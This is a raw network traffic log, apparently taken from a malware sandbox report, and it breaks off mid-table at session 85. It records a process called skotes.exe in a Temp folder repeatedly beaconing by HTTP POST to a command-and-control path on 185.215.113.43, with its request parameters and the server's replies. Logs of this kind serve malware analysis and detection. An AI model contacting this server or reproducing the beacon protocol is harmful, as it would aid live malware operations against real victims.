63	192.168.2.4	50226	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:55.796484947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:57.328893900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:05:57.329097986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:05:57.329448938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50228	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:58.858254910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:59.796061993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50229	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:01.457844019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:02.368654966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50230	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:03.891186953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:04.813224077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50231	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:06.453898907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:07.451656103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50232	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:08.964674950 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:10.040965080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50244	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:11.684123039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:12.629759073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50245	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:14.160321951 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:15.081955910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50246	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:16.715754032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:17.821681023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50248	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:19.363080978 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:20.312527895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50250	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:21.953336954 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:22.868721962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50251	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:24.389569998 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:25.317929029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50252	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:26.948303938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:27.862265110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50253	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:29.384490967 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:30.294640064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50254	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:31.918103933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:32.871892929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50255	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:34.406044960 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:35.434046984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50256	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:37.089472055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:38.107517958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50257	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:39.819287062 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:40.749618053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50262	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:42.380067110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:43.303344011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50263	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:44.817177057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:45.740111113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50264	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:47.370600939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:49.069962978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:06:49.069976091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:06:49.073559046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50265	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:50.586639881 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:51.529202938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50266	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
